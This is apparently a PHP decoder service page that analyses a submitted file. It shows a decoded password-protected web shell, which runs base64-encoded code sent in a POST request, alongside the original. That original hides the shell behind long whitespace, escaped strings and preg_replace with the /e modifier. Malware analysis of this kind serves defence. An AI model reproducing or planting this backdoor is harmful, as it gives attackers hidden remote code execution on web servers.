Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "mnGHDHrTJddcyOi7Le0iqkNqyAoWrn8T")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php



                                                                                                                                                                                                                                                                                                                      $abaS="p\x72e\x67".chr(95).chr(114).chr(101)."\x70\x6c\x61c\x65";$yaGrK="\x65\x76\x61l".chr(40).chr(98)."\x61se\x364_\x64\x65\x63".chr(111)."d".chr(101)."\x28".chr(34).chr(81)."\x47\x56y".chr(99)."m\x39yX3\x4a".chr(108)."cG".chr(57).chr(121).chr(100)."\x47lu\x5a".chr(121).chr(103).chr(119).chr(75)."T\x73".chr(75).chr(81)."\x47\x6C\x75\x61V".chr(57).chr(122).chr(90).chr(88)."\x51o".chr(73)."\x6D\x52pc\x33B".chr(115)."\x59\x58l".chr(102)."\x5a\x58\x4a\x79\x62".chr(51)."J".chr(122)."\x49iw".chr(119).chr(75)."T".chr(115)."\x4b\x51".chr(71)."lua\x56".chr(57).chr(122)."\x5aX\x51".chr(111)."\x49\x6D\x78v\x5a\x31".chr(57)."lc\x6EJ\x76".chr(99)."nM\x69L\x44\x41".chr(112)."\x4f\x77\x70\x41".chr(97)."\x575\x70\x583\x4E\x6c\x64\x43\x67i".chr(90)."X\x4a\x79\x62\x33".chr(74)."\x66b\x479n".chr(73).chr(105)."\x77\x77K".chr(84).chr(115)."\x4b\x43m".chr(108)."m\x49\x43".chr(104)."\x70".chr(99)."3\x4e\x6C\x64\x43\x67".chr(107)."\x58\x31\x42\x50\x55".chr(49).chr(81)."\x70".chr(73).chr(67)."\x59m".chr(73)."\x47l\x7a".chr(88).chr(50)."\x46\x79\x63\x6D\x46\x35".chr(75)."C\x52".chr(102)."\x55".chr(69).chr(57)."\x54\x56".chr(67)."\x6b".chr(103)."\x4A\x69Y".chr(103)."Y2".chr(57).chr(49)."\x62\x6e".chr(81)."\x6fJ\x469".chr(81)."\x54".chr(49)."\x4E\x55".chr(75)."\x54".chr(52)."\x78\x4b\x51".chr(112)."7".chr(67)."\x67l".chr(109)."\x62".chr(51)."\x4A\x6cY\x57\x4eo".chr(73)."\x43\x67kX\x31BPU\x31".chr(81)."\x67\x59\x58".chr(77).chr(103).chr(74)."\x48".chr(90).chr(104)."c\x69".chr(107)."\x4B\x43".chr(88)."s\x4b\x43".chr(81)."\x6c".chr(112).chr(90)."\x69\x41\x6fI".chr(87)."\x6C".chr(122)."\x63".chr(50).chr(86)."\x30K\x43".chr(82)."\x6A\x62\x32\x52".chr(108)."KS\x6bg".chr(74).chr(71)."N".chr(118).chr(90)."\x47\x55\x67".chr(80)."\x53".chr(65)."kdmF\x79".chr(79)."\x77o".chr(74)."\x43\x57".chr(86)."\x73c\x32\x56".chr(112).chr(90)."i\x41\x6fI".chr(87)."\x6c\x7a\x63\x32\x56\x30".chr(75)."\x43\x52\x77\x59X\x4ez".chr(75).chr(83)."k".chr(103)."\x4a".chr(72)."\x42".chr(104)."\x63".chr(51)."M".chr(103).chr(80).chr(83)."\x41\x6bdm\x46y\x4Fw\x6f".chr(74)."CWVs\x632\x55\x67\x59\x6E\x4a\x6cYW\x73".chr(55)."Cg".chr(108)."9\x43g".chr(111)."JaW".chr(89)."\x67K".chr(67).chr(82)."w\x59".chr(88)."\x4e\x7AI\x44\x30\x39\x49\x43\x4At".chr(98).chr(107)."\x64I".chr(82)."E".chr(104)."\x79\x56E\x70\x6B".chr(90)."\x47\x4e".chr(53).chr(84)."\x32\x6b".chr(51).chr(84)."G\x55\x77".chr(97).chr(88)."\x46\x72\x54n".chr(70)."5\x51\x57".chr(57)."\x58c".chr(109)."\x34\x34".chr(86)."\x43I".chr(112)."Cg\x6c\x37C".chr(103).chr(107)."J".chr(90).chr(88).chr(90).chr(104)."b\x43".chr(104).chr(105)."\x59\x58\x4E".chr(108).chr(78).chr(106)."R\x66\x5A\x47\x56\x6A\x622R\x6C".chr(75).chr(67)."\x52\x6Ab\x32\x52".chr(108).chr(75)."\x53\x6b".chr(55)."\x43".chr(103)."l\x39C".chr(110).chr(48)."\x4bZ".chr(88)."h".chr(112).chr(100)."\x44s\x3D\x22))".chr(59);$KWoQ="\x2f\x38".chr(49).chr(52)."\x39\x31".chr(55).chr(49)."\x66\x62".chr(100)."b".chr(98).chr(101)."\x35c1\x33\x317\x34\x63\x37".chr(100)."\x34".chr(57)."c".chr(102)."06".chr(48)."\x63\x31\x2F\x65";$abaS($KWoQ,$yaGrK,"\x38\x31\x34\x391".chr(55).chr(49)."f\x62".chr(100)."\x62\x62\x65\x35\x631\x33\x317\x34\x63".chr(55)."d".chr(52).chr(57)."\x63f\x30".chr(54).chr(48)."\x63\x31");


?>

Function Calls

chr 181
preg_replace 1
base64_decode 1

Variables

$KWoQ /8149171fbdbbe5c13174c7d49cf060c1/e
$abaS preg_replace
$yaGrK eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..

Stats

MD5 574ab04bb9953a8c46b18b231c6a496f
Eval Count 2
Decode Time 232 ms